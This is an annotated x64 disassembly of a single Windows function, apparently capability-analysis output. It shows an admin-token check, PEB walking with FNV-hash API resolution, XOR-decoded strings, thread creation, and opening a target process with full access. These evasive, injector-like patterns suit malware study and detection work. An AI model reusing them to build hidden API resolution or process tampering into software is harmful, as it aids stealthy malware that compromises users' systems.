Function at 0x140012a10
Capabilities:
Access peb ldr_data
Create thread
Encode data using xor
Get token membership
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push rbp
push rbx
push r15
lea rbp, [rsp - 0x2b0]
sub rsp, 0x3b0
mov rax, qword [0x14002b040]
xor rax, rsp
mov qword [rbp + 0x210], rax
xor r15d, r15d
mov word [rbp + 0x194], 0x500
lea rax, [rbp + 0x1f0]
mov dword [rbp + 0x198], r15d
mov qword [rsp + 0x50], rax
lea rcx, [rbp + 0x190]
mov dword [rsp + 0x48], r15d
mov ebx, r15d
mov dword [rsp + 0x40], r15d
lea r8d, [r15 + 0x20]
mov dword [rsp + 0x38], r15d
mov r9d, 0x220
mov dword [rsp + 0x30], r15d
mov dl, 2
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
mov qword [rbp + 0x1f0], r15
mov dword [rbp + 0x190], ebx
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x140012ab9
mov rdx, qword [rbp + 0x1f0]
lea r8, [rbp + 0x198]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x140012ac1
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov rcx, qword [rbp + 0x1f0]
test rcx, rcx
je 0x140012ada
call qword [sym.imp.ADVAPI32.dll_FreeSid]
mov qword [rbp + 0x1f0], r15
test ebx, ebx
jne 0x1400140eb
cmp dword [rbp + 0x198], r15d
jne 0x140012c19
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140012b75
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140012b75
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
mov edx, 0x830df410
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140012b70
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x140012b50
cmp edx, 0x522c5d1b
je 0x140012b7a
test r9d, r9d
jne 0x140012b30
mov rax, qword [rax]
jmp 0x140012b00
mov ecx, dword [rbx + 0x24]
mov edx, dword [rbx + 0x1c]
add rcx, r10
movdqa xmm0, xmmword [0x140027130]
add rdx, r10
movzx ecx, word [rcx + r9*2]
mov r11d, dword [rdx + rcx*4]
mov rcx, r15
add r11, r10
mov dword [rbp + 8], 0x100392f
movdqu xmmword [rbp - 8], xmm0
nop dword [rax]
lea eax, [rcx + 0x5a]
xor byte [rbp + rcx - 8], al
inc rcx
cmp rcx, 0x12
jb 0x140012bb0
movdqa xmm0, xmmword [0x140027100]
mov rcx, r15
movdqu xmmword [rbp - 0x40], xmm0
mov byte [rbp + 0xb], r15b
mov dword [rbp - 0x30], 0x2180a18
mov dword [rbp - 0x2c], 0x100411c
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x5a]
xor byte [rbp + rcx - 0x40], al
inc rcx
cmp rcx, 0x16
jb 0x140012bf0
xor r9d, r9d
mov byte [rbp - 0x29], r15b
lea r8, [rbp - 8]
xor ecx, ecx
lea rdx, [rbp - 0x40]
call r11
call fcn.1400044b0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140012ca5
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140012ca5
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0xc7598247
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140012ca0
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x140012c80
cmp edx, 0xa81e45cd
je 0x140012caa
test r9d, r9d
jne 0x140012c60
mov rax, qword [rax]
jmp 0x140012c30
mov ecx, dword [rbx + 0x24]
mov edx, dword [rbx + 0x1c]
add rcx, r10
movdqa xmm0, xmmword [0x1400271a0]
add rdx, r10
movdqa xmm1, xmmword [0x140027150]
movzx ecx, word [rcx + r9*2]
mov r9d, dword [rdx + rcx*4]
mov rcx, r15
movdqu xmmword [rbp + 0xb0], xmm0
add r9, r10
movdqa xmm0, xmmword [str.BBKKN9]
movdqu xmmword [rbp + 0xc0], xmm1
movdqa xmm1, xmmword [0x1400271e0]
movdqu xmmword [rbp + 0xd0], xmm0
movdqu xmmword [rbp + 0xe0], xmm1
mov word [rbp + 0xf0], pe_nt_image_headers64
nop
lea eax, [rcx + 0x5a]
xor byte [rbp + rcx + 0xb0], al
inc rcx
cmp rcx, 0x40
jb 0x140012d10
lea r8, [rbp + 0xb0]
mov byte [rbp + 0xf1], r15b
xor edx, edx
mov ecx, 0x1f0001
call r9
test rax, rax
jne 0x1400140e7
mov rax, qword gs:[0x60]
mov qword [rsp + 0x3d0], rsi
mov qword [rsp + 0x3d8], rdi
mov qword [rsp + 0x3a0], r14
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140012de5
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140012de5
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0xe24964e0
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140012de0
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x140012dc0
cmp edx, 0x24fca2da
je 0x140012dea
test r9d, r9d
jne 0x140012da0
mov rax, qword [rax]
jmp 0x140012d70
mov ecx, dword [rbx + 0x24]
mov edx, dword [rbx + 0x1c]
add rcx, r10
movdqa xmm0, xmmword [0x1400271a0]
add rdx, r10
movdqa xmm1, xmmword [0x140027150]
movzx ecx, word [rcx + r9*2]
mov r9d, dword [rdx + rcx*4]
mov rcx, r15
movdqu xmmword [rbp + 0x100], xmm0
add r9, r10
movdqa xmm0, xmmword [str.BBKKN9]
movdqu xmmword [rbp + 0x110], xmm1
movdqa xmm1, xmmword [0x1400271e0]
movdqu xmmword [rbp + 0x120], xmm0
movdqu xmmword [rbp + 0x130], xmm1
mov word [rbp + 0x140], pe_nt_image_headers64
nop
lea eax, [rcx + 0x5a]
xor byte [rbp + rcx + 0x100], al
inc rcx
cmp rcx, 0x40
jb 0x140012e50
lea r8, [rbp + 0x100]
mov byte [rbp + 0x141], r15b
xor edx, edx
xor ecx, ecx
call r9
call fcn.140014870
call fcn.140001230
movups xmm0, xmmword [0x14002b0c0]
lea rsi, [0x1402af540]
mov r14d, 0x4fa8
movups xmm1, xmmword [0x14002b0d0]
lea rbx, [0x140031750]
mov r8, rsi
movups xmmword [0x1402af540], xmm0
mov edi, r14d
movups xmm0, xmmword [0x14002b0e0]
movups xmmword [0x1402af550], xmm1
movups xmm1, xmmword [0x14002b0f0]
movups xmmword [0x1402af560], xmm0
movups xmm0, xmmword [0x14002b100]
movups xmmword [0x1402af570], xmm1
movups xmm1, xmmword [0x14002b110]
movups xmmword [0x1402af580], xmm0
movups xmm0, xmmword [0x14002b120]
movups xmmword [0x1402af590], xmm1
movups xmm1, xmmword [0x14002b130]
movups xmmword [0x1402af5a0], xmm0
movups xmmword [0x1402af5b0], xmm1
nop dword [rax]
mov rcx, rbx
sub r8, rbx
mov edx, 0x80
nop dword [rax + rax]
movzx eax, byte [r8 + rcx]
xor byte [rcx], al
lea rcx, [rcx + 1]
sub rdx, 1
jne 0x140012f20
mov rcx, rbx
call fcn.140001a80
mov r8, rbx
sub rbx, 0xffffffffffffff80
sub rdi, 1
jne 0x140012f10
movups xmm0, xmmword [r8]
lea ecx, [rdi + 8]
movups xmmword [0x1402af540], xmm0
movups xmm1, xmmword [r8 + 0x10]
movups xmmword [0x1402af550], xmm1
movups xmm0, xmmword [r8 + 0x20]
movups xmmword [0x1402af560], xmm0
movups xmm1, xmmword [r8 + 0x30]
movups xmmword [0x1402af570], xmm1
movups xmm0, xmmword [r8 + 0x40]
movups xmmword [0x1402af580], xmm0
movups xmm1, xmmword [r8 + 0x50]
movups xmmword [0x1402af590], xmm1
movups xmm0, xmmword [r8 + 0x60]
movups xmmword [0x1402af5a0], xmm0
movups xmm1, xmmword [r8 + 0x70]
movups xmmword [0x1402af5b0], xmm1
call fcn.1400178f4
lea rcx, [0x140012960]
mov r9, rax
lea r8, [0x140016990]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 0x1c8]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r15d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x1c0], rax
test rax, rax
je 0x1400140d4
cmp dword [rbp + 0x1c8], r15d
je 0x1400140c8
movaps xmm0, xmmword [rbp + 0x1c0]
lea rcx, [rbp + 0x150]
movdqa xmmword [rbp + 0x150], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400140c8
xorps xmm0, xmm0
lea ecx, [rdi + 8]
movaps xmmword [rbp + 0x170], xmm0
movdqa xmmword [rbp + 0x1c0], xmm0
call fcn.1400178f4
lea rcx, [0x140011ca0]
mov r9, rax
lea r8, [0x140016990]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 0x1b8]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r15d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x1b0], rax
test rax, rax
je 0x1400140b5
cmp dword [rbp + 0x1b8], r15d
je 0x1400140c8
movaps xmm0, xmmword [rbp + 0x1b0]
lea rcx, [rbp + 0x160]
movdqa xmmword [rbp + 0x160], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400140c8
xorps xmm0, xmm0
movaps xmmword [rbp + 0x180], xmm0
movdqa xmmword [rbp + 0x1b0], xmm0
call fcn.140004ec0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x140013145
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140013145
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0x3638837b
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140013140
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x140013120
cmp edx, 0x6131fd03
je 0x14001314a
test r9d, r9d
jne 0x140013100
mov rax, qword [rax]
jmp 0x1400130d0
mov eax, dword [r11 + 0x24]
lea r8, [0x140011d10]
mov ecx, dword [r11 + 0x1c]
add rax, r10
add rcx, r10
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
movzx edx, word [rax + r9*2]
xor r9d, r9d
mov eax, dword [rcx + rdx*4]
xor edx, edx
add rax, r10
xor ecx, ecx
call rax
call fcn.14000e610
test eax, eax
jne 0x14001409c
call fcn.14000d610
test eax, eax
jne 0x14001409c
call fcn.14000cf30
test eax, eax
jne 0x14001409c
cmp dword [0x1402af5c0], 1
mov qword [rsp + 0x3e0], r12
mov qword [rsp + 0x3a8], r13
jle 0x1400131ca
mov rax, qword [0x1402af440]
mov rdx, qword [rax + 8]
jmp 0x1400131d1
lea rdx, [0x140026980]
mov qword [rbp + 0x1e0], r15
xorps xmm0, xmm0
mov qword [rbp + 0x1e8], r15
mov r15, 0xffffffffffffffff
mov r8, r15
movups xmmword [rbp + 0x1d0], xmm0
inc r8
cmp byte [rdx + r8], 0
jne 0x1400131f3
lea rcx, [rbp + 0x1d0]
call fcn.140002020
mov rax, qword [0x1402af7c8]
test rax, rax
jne 0x1400132cb
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x1400132a5
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x1400132a5
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0xa1f478df
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1400132a0
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x140013280
cmp edx, 0x8bdb842
je 0x1400132aa
test r9d, r9d
jne 0x140013260
mov rax, qword [rax]
jmp 0x140013230
mov ecx, dword [r11 + 0x24]
add rcx, r10
movzx r8d, word [rcx + r9*2]
mov ecx, dword [r11 + 0x1c]
add rcx, r10
mov eax, dword [rcx + r8*4]
add rax, r10
mov qword [0x1402af7c8], rax
mov ecx, 0x5dc
call rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
call fcn.140014100
movabs rax, 0x6d98f6a1a0e89849
movabs r12, 0x6c202038277432eb
mov qword [rsp + 0x60], rax
movabs r13, 0x6d98f6a1a09bf42a
mov rax, qword [rsp + 0x60]
mov qword [rbp + 0x40], rax
mov qword [rsp + 0x60], r12
mov rax, qword [rsp + 0x60]
mov qword [rbp + 0x48], rax
mov qword [rsp + 0x60], r13
mov rax, qword [rsp + 0x60]
mov qword [rbp + 0x200], rax
mov qword [rsp + 0x60], r12
mov rax, qword [rsp + 0x60]
mov qword [rbp + 0x208], rax
movdqa xmm0, xmmword [rbp + 0x200]
xorps xmm0, xmmword [rbp + 0x40]
movdqa xmmword [rbp + 0x40], xmm0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x1400133e5
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x1400133e5
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0xb235d322
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1400133e0
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x1400133c0
cmp edx, 0x72c65a8b
je 0x1400133ea
test r9d, r9d
jne 0x1400133a0
mov rax, qword [rax]
jmp 0x140013370
mov eax, dword [r11 + 0x24]
mov ecx, dword [r11 + 0x1c]
add rax, r10
add rcx, r10
movzx edx, word [rax + r9*2]
mov eax, dword [rcx + rdx*4]
lea rcx, [rbp + 0x40]
add rax, r10
call rax
lea rcx, str._____________________________________________________________________________________________n
call fcn.1400042b0
lea rcx, str.__________________________________________n
call fcn.1400042b0
lea rcx, str.____________________________________n
call fcn.1400042b0
lea rcx, [0x140026c50]
call fcn.1400042b0
lea rcx, [0x140026d20]
call fcn.1400042b0
lea rcx, [0x140026df0]
call fcn.1400042b0
lea rcx, str._______________________________________n
call fcn.1400042b0
lea rcx, str._____________________________________________________________________________________________n
call fcn.1400042b0
cmp qword [rbp + 0x1e0], 0
jne 0x1400134fd
movdqa xmm0, xmmword [0x1400270a0]
xor ecx, ecx
movdqa xmm1, xmmword [0x1400270d0]
movdqu xmmword [rbp + 0x50], xmm0
mov dword [rbp + 0x70], 0x5c411f
movdqu xmmword [rbp + 0x60], xmm1
mov byte [rbp + 0x74], 1
nop
lea eax, [rcx + 0x5a]
xor byte [rbp + rcx + 0x50], al
inc rcx
cmp rcx, 0x23
jb 0x1400134a0
lea rcx, [rbp + 0x50]
mov byte [rbp + 0x74], 0
call fcn.1400042b0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea rdx, [0x140016300]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___class_std::basic_istream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_istream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
mov dl, 0xa
mov rax, qword [rbx]
movsxd rcx, dword [rax + 4]
add rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
lea rdx, [rbp + 0x1d0]
mov rcx, rbx
movzx r8d, al
call fcn.140016660
cmp qword [rbp + 0x1e8], 0xf
lea rdx, [rbp + 0x1d0]
movdqa xmm0, xmmword [0x140027180]
cmova rdx, qword [rbp + 0x1d0]
xor ecx, ecx
movdqu xmmword [rbp - 0x20], xmm0
mov dword [rbp - 0x10], 0x674b184f
mov word [rbp - 0xc], pe_nt_image_headers64
lea eax, [rcx + 0x5a]
xor byte [rbp + rcx - 0x20], al
inc rcx
cmp rcx, 0x14
jb 0x140013530
lea rcx, [rbp - 0x20]
mov byte [rbp - 0xb], 0
call fcn.1400042b0
lea rcx, [rbp + 0x1d0]
call fcn.140014dc0
xor ecx, ecx
mov edi, eax
test eax, eax
jne 0x1400136af
movdqa xmm0, xmmword [str._n_3___]
movdqu xmmword [rbp + 0x10], xmm0
mov dword [rbp + 0x20], 0x100610e
nop dword [rax]
lea eax, [rcx + 0x5a]
xor byte [rbp + rcx + 0x10], al
inc rcx
cmp rcx, 0x12
jb 0x140013580
lea rcx, [rbp + 0x10]
mov byte [rbp + 0x23], 0
call fcn.1400042b0
movabs rax, 0x6d98f6c4d3ee955a
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x60], r12
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x60], r13
mov rax, qword [rsp + 0x60]
mov qword [rbp + 0x1f0], rax
mov qword [rsp + 0x60], r12
mov rax, qword [rsp + 0x60]
movdqa xmm0, xmmword [rsp + 0x70]
mov qword [rbp + 0x1f8], rax
xorps xmm0, xmmword [rbp + 0x1f0]
movdqa xmmword [rsp + 0x70], xmm0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x140013685
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140013685
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
mov edx, 0xfff50672
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140013680
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x140013660
cmp edx, 0x13ed449b
je 0x14001368a
test r9d, r9d
jne 0x140013640
mov rax, qword [rax]
jmp 0x140013610
mov eax, dword [r11 + 0x24]
mov ecx, dword [r11 + 0x1c]
add rax, r10
add rcx, r10
movzx edx, word [rax + r9*2]
mov eax, dword [rcx + rdx*4]
lea rcx, [rsp + 0x70]
add rax, r10
call rax
jmp 0x140013fc1
movdqa xmm0, xmmword [0x1400271b0]
movdqu xmmword [rbp + 0x28], xmm0
mov word [rbp + 0x38], pe_nt_image_headers64
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x5a]
xor byte [rbp + rcx + 0x28], al
inc rcx
cmp rcx, 0x10
jb 0x1400136d0
mov edx, edi
mov byte [rbp + 0x39], 0
lea rcx, [rbp + 0x28]
call fcn.1400042b0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x140013775
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140013775
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
mov edx, 0xeb158d2
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140013770
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x140013750
cmp edx, 0x4dc7dd07
je 0x14001377a
test r9d, r9d
jne 0x140013730
mov rax, qword [rax]
jmp 0x140013700
mov eax, dword [r11 + 0x24]
mov r8d, edi
mov ecx, dword [r11 + 0x1c]
add rax, r10
add rcx, r10
movzx edx, word [rax + r9*2]
mov eax, dword [rcx + rdx*4]
xor edx, edx
add rax, r10
mov ecx, 0x1fffff
call rax
mov rdi, rax
test rax, rax
jne 0x140013915
call qword [sym.imp.KERNEL32.dll_GetLastError]
movdqa xmm0, xmmword [0x140027070]
xor ecx, ecx
movdqu xmmword [rbp - 0x60], xmm0
mov edx, eax
mov dword [rbp - 0x50], 0x4d560f0f
mov dword [rbp - 0x4c], 0x2955175e
mov word [rbp - 0x48], 0x78
mov byte [rbp - 0x46], 1
nop word [rax + rax]
lea eax, [rcx + 0x5a]
xor byte [rbp + rcx - 0x60], al
inc rcx
cmp rcx, 0x19
jb 0x1400137e0
lea rcx, [rbp - 0x60]
mov byte [rbp - 0x46], 0
call fcn.1400042b0
movabs rax, 0x6d98f6c4d3ee955a
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x60], r12
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x60], r13
mov rax, qword [rsp + 0x60]
mov qword [rbp + 0x1f0], rax
mov qword [rsp + 0x60], r12
mov rax, qword [rsp + 0x60]
movdqa xmm0, xmmword [rsp + 0x70]
mov qword [rbp + 0x1f8], rax
xorps xmm0, xmmword [rbp + 0x1f0]
movdqa xmmword [rsp + 0x70], xmm0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x1400138e5
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x1400138e5
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
mov edx, 0x449674e3
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1400138e0
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x1400138c0
cmp edx, 0x81d6006a
je 0x1400138ea
test r9d, r9d
jne 0x1400138a0
mov rax, qword [rax]
jmp 0x140013870
mov eax, dword [r11 + 0x24]
mov ecx, dword [r11 + 0x1c]
add rax, r10
add rcx, r10
movzx edx, word [rax + r9*2]
mov eax, dword [rcx + rdx*4]
lea rcx, [rsp + 0x70]
add rax, r10
call rax
mov r15d, 0xfffffffe
jmp 0x140013fc1
xor ebx, ebx
lea rdx, [rbp + 0x1a0]
mov rcx, rdi
mov dword [rbp + 0x1a0], ebx
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
test eax, eax
jne 0x1400139a1
call qword [sym.imp.KERNEL32.dll_GetLastError]
movdqa xmm0, xmmword [0x140027090]
xor ecx, ecx
movdqa xmm1, xmmword [0x1400270e0]
mov edx, eax
movdqu xmmword [rbp + 0x78], xmm0
mov word [rbp + 0xa8], 0x80
movdqa xmm0, xmmword [0x1400271d0]
movdqu xmmword [rbp + 0x98], xmm0
mov byte [rbp + 0xaa], 1
movdqu xmmword [rbp + 0x88], xmm1
nop dword [rax + rax]
lea eax, [rcx + 0x5a]
xor byte [rbp + rcx + 0x78], al
inc rcx
cmp rcx, 0x31
jb 0x140013980
lea rcx, [rbp + 0x78]
mov byte [rbp + 0xaa], bl
call fcn.1400042b0
jmp 0x1400139cf
mov dword [rbp + 0x19c], ebx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rbp + 0x19c]
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
mov eax, dword [rbp + 0x19c]
cmp dword [rbp + 0x1a0], eax
je 0x140013be7
movdqa xmm0, xmmword [0x140027170]
xor ecx, ecx
movdqu xmmword [rbp - 0x80], xmm0
mov dword [rbp - 0x70], 0x50f192b
mov dword [rbp - 0x6c], 0x12151b07
mov dword [rbp - 0x68], 0x10060606
mov dword [rbp - 0x64], 0x1007d58
nop word [rax + rax]
lea eax, [rcx + 0x5a]
xor byte [rbp + rcx - 0x80], al
inc rcx
cmp rcx, 0x1e
jb 0x140013a00
lea rcx, [rbp - 0x80]
mov byte [rbp - 0x61], bl
call fcn.1400042b0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x140013aa5
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140013aa5
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0xfd730ebd
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140013aa0
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x140013a80
cmp edx, 0xb03fb13d
je 0x140013aaa
test r9d, r9d
jne 0x140013a60
mov rax, qword [rax]
jmp 0x140013a30
mov eax, dword [r11 + 0x24]
mov ecx, dword [r11 + 0x1c]
add rax, r10
add rcx, r10
movzx edx, word [rax + r9*2]
mov eax, dword [rcx + rdx*4]
mov rcx, rdi
add rax, r10
call rax
movabs rax, 0x6d98f6c4d3ee955a
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x60], r12
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x60], r13
mov rax, qword [rsp + 0x60]
mov qword [rbp + 0x1f0], rax
mov qword [rsp + 0x60], r12
mov rax, qword [rsp + 0x60]
movdqa xmm0, xmmword [rsp + 0x70]
mov qword [rbp + 0x1f8], rax
xorps xmm0, xmmword [rbp + 0x1f0]
movdqa xmmword [rsp + 0x70], xmm0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x140013bb7
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140013bb7
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
mov r8d, 0xa84c3955
lea rdx, [rbx + r9*4]
mov ecx, dword [rdx + r10]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140013bb2
nop
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x140013b90
cmp r8d, 0x334fb62c
je 0x140013bbc
test r9d, r9d
jne 0x140013b70
mov rax, qword [rax]
jmp 0x140013b40
mov eax, dword [r11 + 0x24]
mov ecx, dword [r11 + 0x1c]
add rax, r10
add rcx, r10
movzx edx, word [rax + r9*2]
mov eax, dword [rcx + rdx*4]
lea rcx, [rsp + 0x70]
add rax, r10
call rax
mov r15d, 0xfffffffd
jmp 0x140013fc1
movaps xmmword [rsp + 0x390], xmm6
movaps xmmword [rsp + 0x380], xmm7
movaps xmmword [rsp + 0x370], xmm8
movaps xmmword [rsp + 0x360], xmm9
movaps xmmword [rsp + 0x350], xmm10
movaps xmmword [rsp + 0x340], xmm11
movaps xmmword [rsp + 0x330], xmm12
